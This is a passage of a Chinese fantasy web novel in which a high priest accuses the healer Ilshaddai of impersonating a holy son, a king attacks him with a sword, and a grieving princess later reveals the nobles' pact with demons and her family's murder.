利安维亚拿他这种脸皮极厚的皇室中人毫无办法,只能瞪他一眼。 大祭司也没理会他。 他终于,正式看向了伊勒沙代。 “你就是那个,伊勒沙代?” 伊勒沙代平静地回望他,湛蓝的目光仿佛能透过那张惊悚骇人的面具,直直落在他的脸皮上。 大祭司从喉咙里发出一声笑。 “你,冒充圣子,不敬神明,该当死罪。” 来了! 路西法精神一振,一双眼都亮了起来。 他最期待的戏码,终于要上演了? 杜维德安王也坐起身,难得的,他现在觉得大祭司分外顺眼。 他装模作样地问了一句:“大祭司,这个人在平民当中很有美名,你可有什么证据啊?” 大祭司手中权杖重重一杵地面:“天国并无谕旨圣子降世,这就是证据。” 还真是由着他想怎么说就怎么说啊。 路西法颇觉不屑。 算了。 将就吧。 杜维德安王也对他这毫无证据的指控无语了一瞬,但他也想要伊勒沙代的命,便也没计较,只对侍卫道:“没听见大祭司的话?动手!” 自始至终,伊勒沙代都未发一言,只是平静地看着他们你一言我一语地给他定罪。 他连唇角的笑容弧度都没变过。 侍卫们自然也知道他平日的名声,他们面面相觑,竟然没人想先出头去捉拿他。 他们大多也出生于平民家庭,谁不知道现在所有医药产业都被权贵霸占,他们和家里人平日里有些病痛都无法妥善治疗,伊勒沙代的出现对于他们来说当真无异于救世主。 若真有圣子降世,那也就该是他这样的了。 但他们的犹豫无疑加重了杜维德安王的怒火。 连大祭司都没办法的话…… 杜维德安竟然站起身,从侍卫手中抽出了长刀。 他挥刀朝着伊勒沙代砍去,伊勒沙代不避不闪。 长刀落下—— “兄长,不要!” 有人挡在了伊勒沙代身前。 竟然是阿图略鲁亲王。 “你竟然要帮着他?”杜维德安王拔高了声音,不可置信道。 阿图略鲁亲王恳切地看着他,摇摇头:“他是我夫人的救命恩人,请赦免他这次的罪过,兄长!狄曼图雅也希望他好好的。” 这段话中不知哪一段触动了杜维德安王,他脸色阴沉,混浊的眼中涌动着怒火,但竟然真的就这样放下了刀。 路西法直叹可惜。 他看向一旁的大祭司。 大祭司从指证伊勒沙代假冒圣子之后便再没有说话,宛如一座雕塑。 路西法嘲讽地笑了笑。 说到底,都怕。 亏心事做多了也没锻炼出勇气来,面对伊勒沙代,他们依旧都是怕的。 好没意思。 不能一条路坚持着走到黑,有什么意义呢? 谁会夸他们孽海回头? 路西法闭上眼,他感应着自己布下的那些棋子的动向,挑中几个,选择了引爆。 既然他们迟疑,他就帮他们做这个决定吧。 开弓哪有回头箭? 他路西法的船,也不是那么好上的。 * 众权贵手软脚软地离开房间。 天知道,今天那些事,他们真是一件都不想听到! 什么凶手,什么圣子,这能妨碍他们哪点儿? 白白受一场惊吓。 不过他们大多还是扼腕叹息。 伊勒沙代怎么就运气那么好呢? 这都没死。 回回都有人冒出来拼死护着他。 大祭司也真是,不知道坚持一下吗?说完就完了,好歹给他下个咒啊! 他们出来以后才知道,王妃已经苏醒。 她听闻大祭司来了,便猜到他来者不善,以命胁迫阿图略鲁亲王去救下伊勒沙代。 为了防止有人在半路上对伊勒沙代动手,她还特意嘱咐要伊勒沙代与她同乘,送她回府。 对此,路西法嘲笑道:“你救她可救得真值啊。” 伊勒沙代依旧神情淡淡:“举手之劳,不值一提。” 他确是这么想的。 王妃,或者路边的小猫小狗,田间的小花小草,在他眼里都差不多。 都是一条命。 只有旁人为他的遭遇心情跌宕的份。 比如约里,他听说以后差点晕过去。 谁能想到,在不久前,他和伊勒沙代都还是普通边陲小镇青年,如今,都要被高高在上的大祭司指控了? 还被暴君提着刀砍! 他晕晕乎乎地被王府的侍从带着一起进了王府的队伍,回头间瞧见狄曼图雅小心翼翼地扶着王妃上车,她身侧有其他贵族女子经过,瞥见她时神情复杂。 “她们不喜欢狄曼图雅小姐?”约里惊讶道。 他觉得狄曼图雅小姐算是这帮子不拿底层人当人看的王公贵族里面难得的善良好人了,而且脾气好,很是正义,也没什么架子。 王府的侍从也回头看了一眼,撇撇嘴:“她们什么身份,也配和我们小姐一起玩?王说了,不允许小姐自降身份搭理她们。” 那没个同龄伙伴也不好吧? 约里心里暗暗嘀咕,却也不敢直接质疑杜维德安王越过狄曼图雅生父教育她的行为。 他瞧见那些贵族女子腰间都佩着象征王族身份的五花三叶图案,不由道:“这图案似乎有不同种类的呀?” 侍从笑道:“这你就不懂了吧?莱洛温王族的图腾不分高低,只分男女两种,女子五花三叶,男子五花 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“无论你想知道什么,我都可以告诉你,圣子,他们在做的事我都知道,哈,大概是因为,他们想着,我什么都没有了,纵使想往外说,也无人可说吧。”王妃讽刺一笑,“但我也是个卑劣的人类,我恨透了他们,那当然是谁能让他们不好过,我就告诉谁。” “人之常情。”伊勒沙代道。 他不会因此责难她。 王妃努力地撑起身,她伸出手,抓住了伊勒沙代的衣袖摆,眼里泪水闪烁,偏又迸发着别样的光。 “圣子,他们这些贵族,生来什么都有,纵情声色,因此最畏惧的,不过就是死亡,你知道,百年前为何一定要建造巴别塔……因为,他们不想死后魂魄无所归处!他们还想安享富贵,还想,还想踩在其他人的身躯上继续过穷奢极欲的日子!而巴别塔倒塌,也算让他们看清了神明的无情,所以他们……他们当真与恶魔勾结!” 他们试图指控伊勒沙代的,是他们自己确实做过的事。 王妃继续说:“我也不知道他们具体与恶魔达成了什么交易,总之,大祭司,杜维德安,还有阿图略鲁,他们现在看上去关系不好,但他们本质上利益相连,若遇到要紧的事,他们一定会互相帮助,你千万不能被他们的表象所蒙骗,他们三人都不可信。” 她自嘲地笑了笑:“我也是在家破人亡以后,才明白的。我的家人,我的父亲,母亲,兄弟姐妹,竟然……全部死在我曾以为最亲近的爱人手上!” 什么盗匪什么乱臣,不过是因为她父亲从一开始就不支持杜维德安上位罢了! 所以,他们兄弟二人怀恨在心。 杀尽她的家里人,却还要她对他们感恩戴德,感谢他们依旧收留她。 王妃目光空空地看着车壁。 她一旦闭上眼,父母亲人的面容就会出现在她眼前。 小妹啊,她最小的妹妹,她出嫁的时候,她还不到她的梳妆台那么高,抱着她的腿哭着说,姐姐要去哪里?为什么不能带着她一起走? 她那时候满心只有未来的幸福,她揉揉她的脸,告诉她,以后一定让她来跟自己住一起。 小妹的脸是那么温暖,那么柔软。 为什么后来她想摸摸她,却只能摸到冰冷的墓碑了呢? 知道真相后的每一天,活着都是对她的诅咒。 在这世上,她早就没有亲人了。 “圣子……”王妃声音嘶哑,透着无穷无尽的恨意,“求求您,杀了他们,杀了他们,再杀了我吧。” 伊勒沙代垂眸,目光落在她因为痛苦而扭曲的脸上。 好熟悉的痛苦。 他一路行来,在许许多多人脸上,都看到了这样的痛苦。 苦,真苦,活着真苦啊。 活着就像在生吞刀刃,割得五脏六腑皮开肉绽。 伊勒沙代伸手覆在她双眼上。 “很快,就会结束了。”他轻声,如此说道。 因结百年,今已成果。 王妃泪如雨下,却笑着点头。